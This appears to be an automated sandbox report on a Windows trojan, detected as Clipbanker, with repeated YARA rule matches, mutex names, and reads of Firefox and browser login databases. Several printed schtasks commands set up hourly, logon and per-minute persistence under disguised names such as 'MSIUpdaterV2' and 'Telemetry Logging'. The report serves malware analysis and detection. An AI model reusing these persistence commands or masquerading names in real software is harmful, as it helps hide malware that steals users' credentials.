Source: 22.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 22.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 14.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 14.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 26.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 26.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 23.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 23.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 28.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 28.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 24.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 24.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 7.2.dD08ulq4N33OmW5HQdwT.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 7.2.dD08ulq4N33OmW5HQdwT.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 25.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 25.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 29.2.EdgeMS2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 29.2.EdgeMS2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000001C.00000002.2550324003.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001C.00000002.2550324003.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000016.00000002.2249704079.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000016.00000002.2249704079.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000000E.00000002.4443460598.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000000E.00000002.4443460598.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000007.00000002.2188753837.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000007.00000002.2188753837.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000019.00000002.2385333464.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000019.00000002.2385333464.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000015.00000002.2242821853.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000015.00000002.2242821853.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000008.00000002.2208828961.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000008.00000002.2208828961.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000001D.00000002.2631140407.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001D.00000002.2631140407.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000001A.00000002.2465095851.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001A.00000002.2465095851.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000017.00000002.2250105459.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000017.00000002.2250105459.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000000B.00000002.2205175531.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000000B.00000002.2205175531.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000018.00000002.2305505558.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000018.00000002.2305505558.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@36/36@3/5

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\signons.sqlite

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:728:120:WilError_03
Source: C:\Users\user\Desktop\file.exe	Mutant created: \Sessions\1\BaseNamedObjects\slickSlideAnd2
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5792:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3624:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7084:120:WilError_03
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Mutant created: \Sessions\1\BaseNamedObjects\jW5fQ5e-C7lR7tC1q
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5528:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7064:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6304:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\trixy_lgbWpHb9dJ2

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q), tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000000.00000003.2070235991.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2069275480.00000000064E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2059248318.00000000064CF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2073144947.00000000064CF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2069937855.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, HXF2GKJggz_xLogin Data.0.dr, ogxbFEXNUkQ0Login Data.0.dr, mX4bSXvGCffaLogin Data For Account.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	ReversingLabs: Detection: 28%
Source: file.exe	Virustotal: Detection: 22%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\dD08ulq4N33OmW5HQdwT.exe "C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\dD08ulq4N33OmW5HQdwT.exe"
Source: unknown	Process created: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Source: C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\dD08ulq4N33OmW5HQdwT.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
